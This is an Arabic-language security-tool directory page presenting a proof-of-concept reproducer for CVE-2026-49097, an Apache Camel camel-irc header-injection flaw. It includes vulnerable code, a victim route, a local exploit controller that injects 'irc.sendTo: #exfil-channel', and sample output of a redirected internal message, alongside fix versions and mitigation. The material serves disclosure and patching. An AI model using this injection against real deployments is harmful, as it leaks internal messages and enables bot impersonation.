Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-49097 — مُعيد إنتاج لإثبات المفهوم لـ CVE-2026-49097 (Apache Camel camel-irc): ترويسة irc.sendTo غير المسبوقة بـ Camel تتجاوز مرشح ترويسات HTTP وتستبدل القناة المُكوّنة للمنتِج، مما يعيد توجيه رسالة IRC إلى وجهة يختارها المهاجم. تم الإصلاح في 4.14.8/4.18.3/4.21.0. | Kitploit
أدوات/GitHubGitHub/oscerd/cve-2026-49097
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHuboscerd/cve-2026-49097

CVE-2026-49097

مُعيد إنتاج لإثبات المفهوم لـ CVE-2026-49097 (Apache Camel camel-irc): ترويسة irc.sendTo غير المسبوقة بـ Camel تتجاوز مرشح ترويسات HTTP وتستبدل القناة المُكوّنة للمنتِج، مما يعيد توجيه رسالة IRC إلى وجهة يختارها المهاجم. تم الإصلاح في 4.14.8/4.18.3/4.21.0.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مُعيد إنتاج حقن الترويسة irc.sendTo في camel-irc (CVE-2026-49097)

يُوضِّح هذا المشروع حقن ترويسة الرسالة (message-header injection) في مكوِّن camel-irc الخاص بـ Apache Camel، والمُسجَّل باسم CVE-2026-49097. يقرأ IrcProducer ترويسة irc.sendTo لاختيار وجهة رسالة IRC الصادرة؛ وعند وجودها فإنها تتجاوز قائمة القنوات المُهيأة في نقطة النهاية (endpoint):

root@kitploit:~
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class);  // "irc.sendTo"
...
} else if (sendTo != null) {
    connection.doPrivmsg(sendTo, msg);          // attacker-chosen destination
} else {
    for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
        connection.doPrivmsg(channel.getName(), msg);   // the intended, configured channel(s)
    }
}

للقيمة الثابتة للترويسة IRC_SEND_TO القيمة البسيطة irc.sendTo. وبما أنها لا تبدأ بالبادئة Camel / camel، فإن HttpHeaderFilterStrategy — الذي يحظر نطاق ترويسات Camel فقط عند حدود HTTP — يسمح لها بالمرور من طلب HTTP وارد مباشرةً إلى الـ Exchange.

في مسار يربط مُستهلك HTTP (على سبيل المثال platform-http) بمُنتِج irc:، يمكن لأي عميل HTTP بالتالي توفير irc.sendTo وإعادة توجيه الرسالة إلى أي قناة أو nick في IRC، مما يُسرِّب محتوى كان موجَّهًا لقناة داخلية إلى وجهة يراقبها المهاجم، أو انتحال شخصية البوت في قناة أخرى. تمت إعادة تسمية تسعة ثوابت irc.* أخرى في نفس الإصلاح؛ وirc.sendTo هي القابلة للاستغلال مباشرةً.

يُظهر هذا الإثبات المفاهيمي (PoC) التأثير كـإعادة توجيه الرسائل / إفشاء المعلومات (CWE-20 → CWE-74).

النشرة الأمنية: https://camel.apache.org/security/CVE-2026-49097.html

ملخص الثغرة

يعيد الإصلاح تسمية ثوابت الترويسات العشرة irc.* وفق اصطلاح CamelIrc* (على سبيل المثال irc.sendTo → CamelIrcSendTo)، بحيث يتم تصفيتها عند حدود HTTP مثل أي ترويسة تحكم أخرى في Camel. تنتمي إلى نفس عائلة CVE-2025-27636 وCVE-2026-46454 وCVE-2026-48206. ملاحظة: camel-irc مُهمَل (deprecated) اعتبارًا من 4.21.0.

لماذا لا نحتاج إلى خادم IRC

تكمن الثغرة بالكامل في اختيار الوجهة داخل IrcProducer؛ ومقبس IRC هو مجرد وسيلة نقل. يشغِّل مُعيد الإنتاج هذا IrcProducer الفعلي وفئة irclib الفعلية IRCConnection، مع اشتقاق فئة فرعية منها بحيث أن send(...) — التي يمر عبرها كل أمر do* بما في ذلك doPrivmsg — تسجّل هدف PRIVMSG بدلًا من الكتابة إلى مقبس. مكوِّن irc مخصص وصغير يوفِّر ذلك الاتصال المسجِّل. لا يتم الاتصال بأي شبكة IRC.

مسار الضحية

root@kitploit:~
from("platform-http:/notify")
    .to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");

نقطة نهاية "notify" تعيد التوجيه إلى قناة داخلية ثابتة #alerts. لا توجد معاملات وجهة في واجهة HTTP API — يفترض المؤلِّف أن العميل لا يمكنه اختيار القناة. يضبط المهاجم irc.sendTo فيقوم البوت بالنشر إلى قناة من اختيار المهاجم.

هيكل المستودع

root@kitploit:~
CVE-2026-49097/
├── pom.xml                 # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── RecordingIRCConnection.java  # real IRCConnection subclass; records PRIVMSG targets, no socket
    │   ├── RecordingIrcComponent.java   # hands out the recording connection
    │   ├── IrcComponentConfig.java      # registers it under the 'irc' scheme
    │   ├── IrcRecorder.java             # captures the last delivered target + text
    │   ├── VictimRoute.java             # platform-http:/notify -> irc:...#alerts
    │   └── ExploitController.java       # attacker: injects irc.sendTo=#exfil-channel
    └── resources/
        └── application.properties

المتطلبات الأساسية

  • Docker و Docker Compose
  • Java 17+ و Maven 3.8+

خطوات إعادة الإنتاج

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

المخرجات المتوقعة

root@kitploit:~
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===

Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)

1) Legitimate POST /notify (no irc.sendTo header)
     IRC message delivered to: #alerts
     text: Revenue report Q3: $4.2M (internal distribution only)

2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
     IRC message delivered to: #exfil-channel
     text: Revenue report Q3: $4.2M (internal distribution only)

>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true

الإصلاح الموصى به

قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). بعد الترقية، يجب على المسارات التي تضبط وجهة IRC عبر ترويسة أن تستخدم الاسم CamelIrcSendTo. لاحظ أن camel-irc مُهمَل اعتبارًا من 4.21.0.

التخفيف

إلى حين الترقية، قم بإزالة ترويسات التحكم في camel-irc من أي مدخل غير موثوق قبل مُنتِج irc: (على سبيل المثال removeHeaders("irc.*"))، واضبط الوجهة من مصدر موثوق.

إخلاء المسؤولية

تم توفير مُعيد الإنتاج هذا لأغراض البحث الأمني والاختبار المصرَّح به فقط، من أجل ثغرة مُعلَنة علنًا ومُصحَّحة. لا تستخدمه ضد الأنظمة دون إذن صريح.

تنزيل الأداة
الخاصيةالقيمة
المكوِّنcamel-irc
الفئة المتأثرةorg.apache.camel.component.irc.IrcProducer التي تقرأ IrcConstants.IRC_SEND_TO ("irc.sendTo")
CWECWE-20 (التحقق غير السليم من المدخلات) / CWE-74 (الحقن)
التأثيرإعادة توجيه رسالة IRC صادرة إلى قناة/nick يختارها المهاجم (استخراج بيانات، انتحال شخصية)
الشروط المسبقةمسار يربط مُستهلك HTTP بمُنتِج irc:؛ بدون مصادقة عندما يكون المُستهلك
الإصدارات المتأثرةمن 4.0.0 حتى ما قبل 4.14.8، ومن 4.15.0 حتى ما قبل 4.18.3، ومن 4.19.0 حتى ما قبل 4.21.0
الإصدارات المُصحَّحة4.14.8، 4.18.3، 4.21.0
JIRACAMEL-23629 (PR apache/camel#23594)
الفضلYu Bao (PayPal)